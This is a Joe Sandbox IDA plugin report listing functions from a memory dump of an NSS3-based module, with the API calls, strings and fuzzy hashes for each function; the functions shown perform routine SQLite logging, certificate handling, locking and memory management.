Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: d59ad63bf2ffd7cb1fc21767a24e4fe708ad480565092c35a38d5f65aa5a29ae
Instruction ID: 3f3598f6e4d24fa77333da7899d060b1aa6a50fa715b661cd241871710cbd306
Opcode Fuzzy Hash: d59ad63bf2ffd7cb1fc21767a24e4fe708ad480565092c35a38d5f65aa5a29ae
Instruction Fuzzy Hash: 8101C0B5900214BBDF01AFA5ED49CAB3F3DEF46365B004074FD0997B01D632E91087A2

Function 6C741C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=dl,?,?,6C644E1D), ref: 6C741C8A
sqlite3_free.NSS3(00000000), ref: 6C741CB6

Strings

a CHECK constraint, xrefs: 6C741C76, 6C741C81
an index, xrefs: 6C741C67
w=dl, xrefs: 6C741C44
non-deterministic use of %s() in %s, xrefs: 6C741C85
a generated column, xrefs: 6C741C6C

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=dl
API String ID: 1840970956-3929578942
Opcode ID: adbc21476890aec29598050f06453027223276dce0d4bacb982b1ecc7e5968e9
Instruction ID: fc8d503fb807e3582604028424926bca09c96b6e3432ad649057c59e4f7662ef
Opcode Fuzzy Hash: adbc21476890aec29598050f06453027223276dce0d4bacb982b1ecc7e5968e9
Instruction Fuzzy Hash: 910147B1B002005BD704BB2CD91297177E5EFC238CB15487DEE49DBB02EB22E856C755

Function 6C724D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C724DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C724DE0

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C724DCB
invalid, xrefs: 6C724DB8
%s at line %d of [%.10s], xrefs: 6C724DDA
misuse, xrefs: 6C724DD5
API call with %s database connection pointer, xrefs: 6C724DBD

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: c0e970f983fc86db9cd2d8ad2e2f4ae5b7feda6b56081b1e3a72982cd587565d
Instruction ID: 4ff96e5e84b843b56e6a55e21a4e6191d18ebe16a132f69606180104f3a23a99
Opcode Fuzzy Hash: c0e970f983fc86db9cd2d8ad2e2f4ae5b7feda6b56081b1e3a72982cd587565d
Instruction Fuzzy Hash: 5BF0BE22A156682BD7005155DF22F86379A4F02329F8609B1EF087BB92D20AAA908295

Function 6C724DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C724E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C724E4D

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C724E38
invalid, xrefs: 6C724E25
%s at line %d of [%.10s], xrefs: 6C724E47
misuse, xrefs: 6C724E42
API call with %s database connection pointer, xrefs: 6C724E2A

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: af1dbd6d4de815b7e20467e28cf0f7d58a2eca7bb01e1d91bf0569492b6c3fbb
Instruction ID: bd7388b8e6f0b4b41a11704e9038bc3d7054eb679024a7b8990befec1b8848b1
Opcode Fuzzy Hash: af1dbd6d4de815b7e20467e28cf0f7d58a2eca7bb01e1d91bf0569492b6c3fbb
Instruction Fuzzy Hash: C2F02711F459282BF71050699F11F87379E4B02329F8954F1EF0C7BE92D30D9EA052D5

Function 6C659FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C65A086
EnterCriticalSection.KERNEL32(?), ref: 6C65A09B
PR_Unlock.NSS3(?), ref: 6C65A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65A0E9
TlsGetValue.KERNEL32 ref: 6C65A11B
EnterCriticalSection.KERNEL32(?), ref: 6C65A12F
PR_Unlock.NSS3(?), ref: 6C65A148

Part of subcall function 6C671A40: PR_Now.NSS3(?,00000000,6C6528AD,00000000,?,6C66F09A,00000000,6C6528AD,6C6593B0,?,6C6593B0,6C6528AD,00000000,?,00000000), ref: 6C671A65

Part of subcall function 6C671940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6C674126,?), ref: 6C671966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65A1A3

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: e65cc857cf499abfa92ccf8e1a63af1c86f5c587a9fce0ec9fbd20ea2beac6f0
Instruction ID: d7b745329589c4cf52f16fb1097d40683d164b752f1c6948075c2546dc765dd8
Opcode Fuzzy Hash: e65cc857cf499abfa92ccf8e1a63af1c86f5c587a9fce0ec9fbd20ea2beac6f0
Instruction Fuzzy Hash: 3851F5B1A00201ABEB109F79DC44ABB77B9AF8634CB644439DC1997B02EF31D855C7B9

Function 6C690C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C691444,?,00000001,?,00000000,00000000,?,?,6C691444,?,?,00000000,?,?), ref: 6C690CB3

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?,?,6C691444,?), ref: 6C690DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?,?,6C691444,?), ref: 6C690DEC

Part of subcall function 6C6B0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C652AF5,?,?,?,?,?,6C650A1B,00000000), ref: 6C6B0F1A
Part of subcall function 6C6B0F10: malloc.MOZGLUE(00000001), ref: 6C6B0F30
Part of subcall function 6C6B0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C6B0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?), ref: 6C690DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C691444,?,00000001,?,00000000), ref: 6C690E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?), ref: 6C690E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?,?,6C691444,?,?,00000000), ref: 6C690E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?), ref: 6C690E79

Part of subcall function 6C6A1560: TlsGetValue.KERNEL32(00000000,?,6C670844,?), ref: 6C6A157A
Part of subcall function 6C6A1560: EnterCriticalSection.KERNEL32(?,?,?,6C670844,?), ref: 6C6A158F
Part of subcall function 6C6A1560: PR_Unlock.NSS3(?,?,?,?,6C670844,?), ref: 6C6A15B2

Part of subcall function 6C66B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C671397,00000000,?,6C66CF93,5B5F5EC0,00000000,?,6C671397,?), ref: 6C66B1CB
Part of subcall function 6C66B1A0: free.MOZGLUE(5B5F5EC0,?,6C66CF93,5B5F5EC0,00000000,?,6C671397,?), ref: 6C66B1D2

Part of subcall function 6C6689E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C6688AE,-00000008), ref: 6C668A04
Part of subcall function 6C6689E0: EnterCriticalSection.KERNEL32(?), ref: 6C668A15
Part of subcall function 6C6689E0: memset.VCRUNTIME140(6C6688AE,00000000,00000132), ref: 6C668A27
Part of subcall function 6C6689E0: PR_Unlock.NSS3(?), ref: 6C668A35

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 7c01e8e9dcb8693a346e1152ae93aebef5e802ed09be18b9235cea3c0b86db7c
Instruction ID: 8919e93143be4044245895a9d88bdb2791ed12b196d266ebd16ed6fad71729ca
Opcode Fuzzy Hash: 7c01e8e9dcb8693a346e1152ae93aebef5e802ed09be18b9235cea3c0b86db7c
Instruction Fuzzy Hash: DC51D9F5D002019FEB109F64DC85AAB37A8EF4A318F150464ED1997B12FB31ED1987AE

Function 6C646E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C646ED8
sqlite3_value_text.NSS3(?,?), ref: 6C646EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C646FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C646FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C646FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C647010
sqlite3_value_blob.NSS3(?,?), ref: 6C64701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C647052

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: f9dfc056b62c07f78d7555f3e67fe5a187b7155ee1d2afe386c536923178abaf
Instruction ID: d556bf23be8ba49df7ef0af32603c3ee1d4f2bf46e4938304b9abc7337f5d69d
Opcode Fuzzy Hash: f9dfc056b62c07f78d7555f3e67fe5a187b7155ee1d2afe386c536923178abaf
Instruction Fuzzy Hash: 4B61E2B1E0520A8BDB40CF65C8007EEB7B2AF45308F28C165D855ABB51E732DC16CBA8

Function 6C6B8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C6B7313), ref: 6C6B8FBB

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B90F1

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B906B

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C6B7313), ref: 6C6B9128

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 1118a76c51b2bf7d005021de871d9f0fcf22768da21067c2da13a14fda83640f
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 9251C571B002029FEB10CF6ADC84B66B3F9AF5535CF154029D919E7B61EB31E824CB99

Function 6C669C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6C668850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C670715), ref: 6C668859
Part of subcall function 6C668850: PR_NewLock.NSS3 ref: 6C668874
Part of subcall function 6C668850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C66888D

PR_NewLock.NSS3 ref: 6C669CAD

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

TlsGetValue.KERNEL32 ref: 6C669CE8
EnterCriticalSection.KERNEL32(?,?,6C66ECEC,6C672FCD,00000000,?,6C672FCD,?), ref: 6C669D01
TlsGetValue.KERNEL32(?,?,?,6C66ECEC,6C672FCD,00000000,?,6C672FCD,?), ref: 6C669D38
EnterCriticalSection.KERNEL32(?,?,6C66ECEC,6C672FCD,00000000,?,6C672FCD,?), ref: 6C669D4D
PR_Unlock.NSS3 ref: 6C669D70
PR_Unlock.NSS3 ref: 6C669DC3
PR_NewLock.NSS3 ref: 6C669DDD

Part of subcall function 6C6688D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C670725,00000000,00000058), ref: 6C668906
Part of subcall function 6C6688D0: EnterCriticalSection.KERNEL32(?), ref: 6C66891A
Part of subcall function 6C6688D0: PL_ArenaAllocate.NSS3(?,?), ref: 6C66894A
Part of subcall function 6C6688D0: calloc.MOZGLUE(00000001,6C67072D,00000000,00000000,00000000,?,6C670725,00000000,00000058), ref: 6C668959
Part of subcall function 6C6688D0: memset.VCRUNTIME140(?,00000000,?), ref: 6C668993
Part of subcall function 6C6688D0: PR_Unlock.NSS3(?), ref: 6C6689AF

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 16ffbc0eee022dd8d4f19984e61c664a825e7ccbb00e0224b299be9e0c7074e2
Instruction ID: 271d795eabe133716e4a3ebc560ee475c165bab5e11df6b6703635b577ec94e0
Opcode Fuzzy Hash: 16ffbc0eee022dd8d4f19984e61c664a825e7ccbb00e0224b299be9e0c7074e2
Instruction Fuzzy Hash: 4B512FB1A04B059FDB00EF6AC1846AABBF0BF45359F158579DC58DBB10DB30E844CB96

Function 6C769EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C769EC0
EnterCriticalSection.KERNEL32(?), ref: 6C769EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6C769F73
EnterCriticalSection.KERNEL32(?), ref: 6C769FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6C769FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6C769FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6C76A01D

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 27715d48be9f4901838586b9dcfc896132b063bb0550e47053d1935e484af39d
Instruction ID: 61baa99fa17096382ba63133418b06fe56d12a166b076a6e473674de3ffa805a
Opcode Fuzzy Hash: 27715d48be9f4901838586b9dcfc896132b063bb0550e47053d1935e484af39d
Instruction Fuzzy Hash: 9451B0B2804600CBCB109F26D58868AB7F4FF64319F298669DC5957F12E731F886CB91

Function 6C65DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C65DCFA

Part of subcall function 6C719DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DC6
Part of subcall function 6C719DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DD1
Part of subcall function 6C719DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C719DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C65DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C65DD62
CERT_DestroyCertificate.NSS3(?), ref: 6C65DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6C65DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6C65DD8F

Part of subcall function 6C6706A0: TlsGetValue.KERNEL32 ref: 6C6706C2
Part of subcall function 6C6706A0: EnterCriticalSection.KERNEL32(?), ref: 6C6706D6
Part of subcall function 6C6706A0: PR_Unlock.NSS3 ref: 6C6706EB

CERT_DestroyCertificate.NSS3(?), ref: 6C65DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6C65DDB7

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 75308090a03ca7ff080c6872ac23569e8089fd4e6db1a8bfcab270df3e12f8c8
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: E521AEB6E011159BDB019EA4DD409DEB7B4AF05308B640120EC04A7751E731E925CBE9

Function 6C6E5F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

